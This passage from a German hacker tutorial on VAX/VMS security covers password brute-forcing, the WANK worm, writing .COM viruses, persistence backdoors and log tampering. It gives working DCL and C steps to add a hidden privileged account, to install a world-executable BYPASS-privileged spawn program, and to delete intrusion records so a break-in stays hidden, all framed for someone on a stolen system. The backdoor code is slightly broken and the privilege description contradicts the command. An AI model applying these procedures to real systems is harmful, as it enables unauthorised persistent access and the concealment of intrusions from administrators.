John the Ripper ist vor laengerer Zeit ein patch veroeffentlicht worden, mit dem
man auch VMS Passwoerter cracken kann.
http://www.securityfocus.com/archive/1/301218
Wenn
ein Angreifer mit Hilfe eines tools alle MOEGLICHEN kombinationen von Zeichen
nacheinander druchgeht, spricht man von Bruteforce. Je laenger und je mehr
unterschiedliche Zeichen verwendet werden erschwert man solchen Angriffen den
Erfolg. Beispielsweise kann man bei bestimmten tools zwischen den folgenden
Optionen waehlen:
-[a-z]
-[A-Z]
-[a-z,A-Z]
-[1-0]
-[a-z,A-Z,1-0]
-[a-z,A-Z,1-0,!”§$%&/()=?*.,-_]
Man
kann sich an zehn Fingern abzaehlen, dass je mehr unterschiedliche Zeichen im
Passwort enthalten sind, so laenger dauert der BruteForce. In den meisten
faellen wird ein Angreifer nach einigen Stunden/Tagen
aufgeben...
Fuer
Systemadministratoren wird seid laengerem ein Programm mitgeliefert, mit dem
sich Passwoerter im Bezug auf Sicherheit hin ueberpruefen
lassen.
SYS$COMMON:[SYSUPD]VMS$SECUREPWD.EXE
Oder
SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE
Mit
bsw. $ MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE
USERNAME /GUESS
Laesst
sich ueberpruefen ob “USERNAME” ein sichers Passwort ist.
Nachdem
der Befehl ausgefuehrt ist, traegt der logische Name VMS$SECURE einen der
folgenden Werte:
VALID - Passwort scheint
stark zu sein
WEAK - Password ist
schwach
DISUSER - Dieser Account existiert zwar,
ist aber deaktiviert
NONEXSIST
– Existiert nicht
$
MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE
LOOM /GUESS
$
SHOW LOGICAL VMS$SECURE
“VMS$SECURE” ==
“VALID”
Wenn
man also selbst ueber den Luxus verfuegen wuerde eine VMS box zu besitzen,
koennte man die gestolende SYSUAF.DAT mit der aktuellen ersetzten und testen
(oder man macht es remote am ergaunertem System).
Desweiteren
kann man bei der Sicherung von Passwoertern einige Grundregeln
nennen:
-Passwoerter
nicht im Klartext in Dateien abspeichern (und dann auch noch fuer die Gruppe
oder Welt lesbar)
-auf
Passwoerter nicht durch Kommentare in seinem Profil bsw. als Denkstuetze
aufmerksam machen
-keine
einfach erratbaren Passwoerter nehmen wie bsw. den
Benutzernamen.
-Passwoerter
nicht auf Notizzettel vermerken
-Passwoerter
nicht uebers Netzwerk bekannt geben (z.B. ueber MAIL oder
PHONE).
-Passwort
in regelmaessigen Abstaenden aendern
-Moeglichst
lange Passwoerter bentuzen
-Passwort
sollte moeglichst nicht in Lexika oder Duden vorkommen
3.3
Exploiting
Es
gibt nur wenige Exploits im Internet zu finden. Wenn dann sind es oft
Ausnutzungen von flaschen Zugriffsrechten oder unerwarteten Bentuzereingaben.
Buffer Overflows wird man unter VMS nicht finden, da VMS einen “none-executable”
stack benutzt. Wie es mit Fromatstring oder Symlink Attacken aussieht weiss ich
leider nicht. Ich habe bei meinen rechaigen nichts dergleichen gefunden.
Ich
empfehle suchen im Internet wenn Ihr euch einige Exploits fuer VMS ansehen
wollt. Z.B. ist vor kurzem beim Securityfocus ein Eintrag erschienen der eine
Reihe von OpenVMS´s Schwachstellen im Webserver auflistet (feel free to $ SEARCH
[THE.INTERNET] EXPLOITS).
3.4
Viren
und Wuermer
Schon
1989 wurde die erste Warnung vor einem DECnet Wurm laut. Dieser ist unter dem
Namen „WANK-Worm“ (W.COM) bekannt und war zu seiner Zeit eine Art
ANTI-Atomwaffen Aktion. WANK attakierte VMS Systeme indem er sich zunaechst
durch einen Standart Account namens DECnet einloggte. Dieser Account war fuer
Benutzer vorgesehen, welche keine ID besassen, die aber trotzdem an dem System
arbeiten wollten (welch ein nettes feature!). Daher konnte sich jeder Hannes
remote mit diesem Account verbinden und brauchte kein Passwort einzugeben. Und
genau hier setzte der Wurm ein.
Es
wurde nach allen einem beschreibbaren Verzeichnis gesucht, in das sich der Wurm
kopierte. Dann infizierte er alle .COM Dateien (soweit er es konnte) und meldete
seinen Erfolg in der Welt. Ausserdem verfuegte der Wurm ueber Passwort abklapper
mechanismen.
Wenn
es der Wurm geschafft hat sich irgendwie die SYSNAM Privilegien zu ergattern,
aenderte er den Systembanner in folgenden:
W O R M S A G A I N S T N U C L E A R K I L L E R S _______________________________________________________________ \__ ____________ _____ ________ ____ ____ __ _____/ \ \ \ /\ / / / /\ \ | \ \ | | | | / / / \ \ \ / \ / / / /__\ \ | |\ \ | | | |/ / / \ \ \/ /\ \/ / / ______ \ | | \ \| | | |\ \ / \_\ /__\ /____/ /______\ \____| |__\ | |____| |_\ \_/ \___________________________________________________/ \ / \ Your System Has Been Officically WANKed /\_____________________________________________/
You talk of times of peace for all, and then prepare for war.
Der
Wurm machte noch allerhand anderen quatsch – besonders mit SYSNAM
Privilegien...
Ein
Virus der eine .COM infiziert ist sehr einfach zu schreiben. Der Virus muss dazu
nur sich selbst (vorrausgesetzt er ist .COM) an das ende einer .COM Datei
kopieren. Naja- nicht direkt ans Ende, denn .COM Dateien enden mit dem
Schluesselwort „EXIT“. Vor diesem Schluesselwort muss unser Virus. Beim
infizieren von EXE Dateien, braucht man meines Erachtens nach nichts besonders
zu beachten.
Viren
und Wuermer sind also schon seid langer Zeit auch hier unter VMS ein
Thema.
3.5
Backdoors
Unter
dem begriff Backdoor versteht man eine Systemroutine die dem Angreifer der
bereits das System erobert hat den erneuten Zugriff zu sichern. Optimaler weise
natruerlich mit Systemprivilegien.
Eine
einfache und total unsichere Methode ist es sich einen neuen Account zu
erstellen.
$
SET DEFAULT SYS$SYSTEM
$
RUN AUTHORIZE
UAF>
ADD NEWADMIN /UIC=555 /DEVICE=SYS$SYSDEVICE /DIRECTORY=[SYS0] /PASSWORD=owned
/PRIVILEGE=SYSPRV
UAF
> EXIT
$
SET HOST 0
Welcome on our VMS stranger
Username:
NEWADMIN
Password:
$
SET PROCESS /PRIVILEGE=BYPASS
Zunaechst
haben wir uns mit dem Administrationstool “AUTHORIZE” einen neuen Account
erstellt mit dem Benutzernamen NEWADMIN erstellt. Die UIC ist 555, das Passwort
„owned“ und das Standart Verzeichnis ist [SYS0]. Wir geben dem neuem Account
alle Privilegien mit dem Schluesselwort „ALL“ und setzen noch „BYPASS“ oben
drauf. Das hat zur Folge das NEWADMIN so ziemlich alles machen kann was er
moechte.
Um
die Privilegien die mit AUTHORIZE gesetzt wurden auch zu nutzen, muessen wir mit
dem Befehl „SET PROCESS /PRIVILEGE=BYPASS“ die Privilegien auch in Anspruch
nehmen. Unsere aktuellen Rechte koennen wir uns mit „SHOW PROCESS /PRIVILEGE“
anzeigen lassen (Standart ist „TMPBMX und NETMBX“). Wer das Privileg SYSPRV
besitzt, kann sich selbst Privilegien zusprechen da er SYSTEM Rechte hat.
Naturlich
faellt so etwas sehr schnell auf, da ein Admin nur das Programm AUTHORIZE
starten brauch und an dem neuem Prompt sich alle Benutzer anzeigen lassen kann.
UAF>
LIST
UAF>
EXIT
$
TYPE SYSUAF.LIS
Owner
Username
UIC Account Privs Pri Directory
SYSTEM
MANAGER SYSTEM
[1,10] SYSTEM
All 4
SYS$SYSROOT:[SYSMGR]
...
Mit
dem LIST befehl, erstellt AUTHORIZE eine neue Datei, die den Inhalt der
SYSUAF.DIS in ein leserliches Format bringt. Und zwar nennt sich diese neue
Datei SYSUAF.LIS (die SYSUAF in diesem Format koennte fuer Angreifer interessant
sein...) und kann ohne weiteres mit TYPE ausgegeben
werden.
Eine
andere Methode ist es wie unter *NIX Systemen eine Priviligierte Shell zu
hinterlassen. Da es unter VMS keine SUID Programme gibt, muessen wir das ganze
irgendwie mit Privilegien deichseln.
Wir
gehen davon aus das wir SYSTEM Rechte haben. Man erstellt sich ein Programm
welches nur einen neuen Prozess erstellt:
#include
<stdio.h>
#include
<stdlib.h>
long
spawn_me;
main()
printf("Spawning
Subprocess.....\n");
spawn_me=lib$spawn();
printf("Subprocess
logged out...\n");
}
Das
ganze compilen:
$
CC BACKDOOR.C
$
LINK BACKDOOR.OBJ
$
INSTALL
INSTALL>
create backdoor/priv=(bypass)
INSTALL>
list backdoor/full
DISK$OVMSVAXSYS:<SYS0.SYSEXE>.EXE
BACKDOOR;1
Prv
Entry access count
= 0
Privileges = BYPASS
INSTALL>
exit
Wir
veraendern die Privilegien des Programms zu „BYPASS“. Was jetzt noch fehlt, ist
die moeglichkeit fuer einen total normalen Benutzer die Backdoor auszufuehren.
Dazu aendern wir die World rechte so, dass jeder das Programm starten
kann.
$
set file backdoor.exe /prot=(w:re)
!e for EXECUTE
Fertig!
Nehmen wir mal an, wir loggen uns auf dem System mit 08/15 Rechten ein. Wie
verfuegen lediglich ueber die Privilegien TMPMBX und NETMBX. Wir sind Teilnehmer
einer Gruppe die nur uns als Teilnehmer kennt. Nun:
$
MCR [USERS.LOOM.SYSMGR]backdoor
Spawning
Subprocess.....
$
SHOW PROCESS /PRIVILEGE
3-MAY-2002 19:10:17.55 User: DEMO
Process ID:
00000451
Node: MANSON
Process name: "DEMO_1"
Authorized
privileges:
BYPASS NETMBX TMPMBX
Process
privileges:
NETMBX
may create network device
TMPMBX
may create temporary mailbox
Process
rights:
DEMO
resource
INTERACTIVE
LOCAL
System
rights:
SYS$NODE_MANSON
$ !
Okay.. Note the "Authorized privleges".
$
SET PROCESS /PRIVILEGE=BYPASS
$
! thanks for your BYPASS !
Es
sollte ebenfalls moeglich sein, eine Art Backdoor Server zu schreiben, aber dazu
muss man sich etwas genauer mit den Bibliotheken vertraut
machen.
Hier sei noch mal angemerkt, dass es im Internet um 1990 eine Secuirtywarnung gab, die auf das selbe Thema zielte. Es ging sich um das Ueberpruefen einer Backdoor, die eigentlich nach dem selben Prinzip arbeitete wie die oben aufgefuehrte. Falls ihr also eine Datei namens „SYS$LIBRARY:VMSCRTL.EXE“ finden solltet, ist das System mit einer Backdoor bestueckt. Falls jetzt ploetzlich ein Admin gruen anlaeuft weil er die File auf seinem System gefunden hat :$ MCR INSTALL SYS$LIBRARY:VMSCRTL.EXE /DELETE (ein Angreifer sollte sie moeglicherweise ausfuehren?!).
3.6 Logging
Wenn
ein Angreifer sich auf einem System herrumtreibt oder ein System Angreift, ist
das loggen (festhalten) von solchen Ereignissen fuer einen Admin von grosser
Wichtigkeit.
Da
VMS Systeme in der Regel durch Passwort raten erobert worden sind, hat man extra
Systemroutinen eingebaut, die das staendige Raten aufzeichnen. Das ganze wurde
von Zeit zu Zeit immer wieder erweitert- so sind Zugriffe auf durch ACL gesetzte
Beschraenkungen auch nicht vor dem logging sicher. Um sich die Break-in Database anzusehen,
reicht der folgende Befehl aus:
$
SHOW INTRUSION
Das
ganze hat das folgende Format:
Intrusion Type Count Expiration Source
Intrusion:
Art des Einbruchs (o. Einbruchsversuchs)
Type:
Genauere Beschreibung
Count:
Anzahl der fehlgeschlagenen Login versuche von der selben
Quelle.
Expiration:
Dieser Wert nennt eine Toleranzgrenze von Sekunden, die angibt in welchen
Zeitintervallen falsche Logins nicht als Break-in gellten sollten. Standart ist
alle 5 Minuten ein falscher Loginversuch.
Source:
Die Herkunft des Angriffs
Mit
„SET AUDIT“ kann ein Admin viele Alarm-kriterien definieren.
Wenn
ein Angreifer sich Zugriff auf die Pivilegien SECURITY und CMKRNL hat, kann er
mit dem folgenden Befehl die Break-in Database loeschen:
$
DELETE /INTRUSION_RECORD source
Beispielsweise:
$
DELETE /INTRUSION_RECORD TTA0:
Loescht
alle Eintraege die von TTA0: ausgeloest wurden. Als Source gibt man also das
Geraet an, mit dem man „arbeitet“ (in diesem Falle das Terminal `TTA0:`). Ob man
ALLE Eintraege loescht wenn man keine „source“ angibt weiss ich nicht.
Ein
Anzeichen fuer einen Angreifer das mit Hilfe von „SET AUDIT“ geloggt wird, ist
das vorhanden sein des Prozesses OPCOM. Dieser ist Standtmaessig nicht aktiv und
hat die Aufgabe, alle Sicherheitswarnungen in die Operator Logfile zu
schreiben. Sicherheitswarnungen
werden alle in die Datei SYS$MANAGER:OPERATOR.LOG geschrieben. Um sich die
Informationen vernuempftig anzusehen kann man mit dem folgendem Befehl die Infos
in die Datei BREAKINS.DAT schreiben.
SYS$MANAGER:SECAUDIT
/OUTPUT=BREAKINS.DAT
Moeglicherweise
kann man auch mit SECAUDIT die Logdateien veraendern- ich weiss es
nicht...
4.0
Nachwort
Ich
hoffe schwer, dass euch allen dieser Ausflug in die VAX/VMS Welt spass gemacht
hat. Mich hat dieses Thema jedenfalls laengere Zeit gefesselt! Spannend fand ich
es immer die alten Sicherheitswarnungen rund um VMS zu lesen und diese
nachzuvollziehen.
Ein
bekannter von mir sagt, dass er den Text ganz interessant findet aber meint,
dass dieser Text mehr historischer Natur ist. Auf erster Linie kann ich ihm
schon Recht geben. VMS wird nicht mehr nennenswert oft verwendet. Aber es wird
oefters verwendet als man denkt. Ich empfehle allen Skeptikern mal einen Blick
ins 60 Phrack Magazin zu werfen. Da ist ein Artikel enthalten (Traffic.txt) in
dem auch ein Verwendungsbeispiel von DECnets und VMS
stehen:
Figure 2. ITS Topologies------------------------- ________ ________ ________ |COMPUTER|---|COMPUTER|------|COMPUTER| `--------' `--------' `--------' (coax) |_____ | (dialup) |__ (radio) | | | __________ | ____|_____ _____|_____ |CONTROLLER|-| | MASTER |__ |FIELD PROC.|__ `----------' | `----------' | `-----------' | __________ | __________ | ___________ | | VAX/VMS |-| | VAX/VMS |__| |CCTV CAMERA|__| `----------' | `----------' | `-----------' | __________ | __________ | ___________ | |COUNTSTION|-| |CONTROLLER|__| |CONTROLLER |__| `----------' `----------' `-----------' | ___________ | | VAX/VMS |__| `-----------' (Physical links (Physical links (physical linksEIA 232) FSK-modem) Fiber)
Introduction------------ The traffic controller boxes that you see on the road have all a standardconfiguration set when commissioned, but they are all linked to a centraloffice for remote configuration changes, fault reporting, resetting, etc.The ATC houses a FEP which connects to each controller or the local exchange.The FEP is the direct network connection to the controllers and queries thecontrollers per second bases and receives the responses which are transportedto the central controlling computer [OS/2 or ALPHA VAX in S.A and UK] viaDECnet on coaxial or other means via the LAN. The controlling computer thenanalysis the result and determines faults or other data and places it in thecentral controlling database on a VAX/VMS. The database is then prioritizedand can be accessed via web interface on the local intranet to see faultreports and timing info. *************-AUSZUG ENDE-
*************
Nicht
zu vergessen: Seid OpenVMS kommt langsam wieder Schwung in die
Sache!
Ich
weiss nicht wie ihr darueber denkt, aber ich werde immer ein Auge auf dieses
schoene Betriebssystem VMS und seine Verwendung/Entwicklung
werfen!
5.0
Greets
Greets
to the Excluded-Team [www.excluded.org]
ProXy, Havoc][, Nixon, Takt,
FatalError2k, X-Net, and the others!
Lovely
greets to Toxic Source Developers!
LexDiamond,
Blowfish
Greets
to guys like
Sleepy, strcat, evil_matt, !ntruder,
molke, WIT, BofH, BooMer/Scorp, PuNsHeR, Black8balls
“Wenn
Wissen wirklich Macht ist,
warum sind dann die Maechtigsten die Duemmsten?“
-l0om